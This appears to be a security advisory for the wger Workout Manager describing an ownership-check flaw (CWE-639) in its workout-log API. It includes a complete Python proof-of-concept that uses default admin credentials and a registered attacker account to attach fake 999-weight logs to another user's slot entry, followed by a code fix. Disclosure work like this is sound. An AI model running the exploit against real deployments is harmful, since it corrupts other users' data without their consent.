wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}  <-- TARGET")


# ---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = api_headers(attacker_token)

r = requests.post(f"{API}/routine/", headers=ah, json={
    "name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f"    Attacker routine id={attacker_routine_id}")


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")

payload = {
    "routine": attacker_routine_id,
    "slot_entry": victim_slot_entry_id,
    "exercise": exercise_id,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": today,
    "iteration": 1,
}

print(f"\n  POST {API}/workoutlog/")
print(f"    routine    = {attacker_routine_id}  (attacker's own -> passes check)")
print(f"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!")
    print(f"    routine    = {d['routine']}  <- attacker's routine")
    print(f"    weight     = {d['weight']}")
    print(f"    reps       = {d['repetitions']}")
elif r.status_code == 403:
    print("  Access denied - NOT vulnerable (patched)")
    sys.exit(0)
else:
    print(f"  Unexpected: {r.text[:300]}")
    sys.exit(1)


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

r = requests.get(
    f"{API}/routine/{victim_routine_id}/date-sequence-display/",
    headers=vh,
)
print(f"\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f"  (as victim - this endpoint consumes the injected logs)")
print(f"  HTTP {r.status_code}")

if r.status_code == 200:
    seq = r.json()
    print(f"  Returned {len(seq)} day(s) of data")
    if seq:
        print(f"  First entry (truncated):")
        print(f"  {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f"  (The injected log is owned by attacker, so it does NOT appear")
print(f"   in victim's list view - but it IS attached to victim's SlotEntry")
print(f"   and WILL corrupt victim's progression calculations.)")

print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))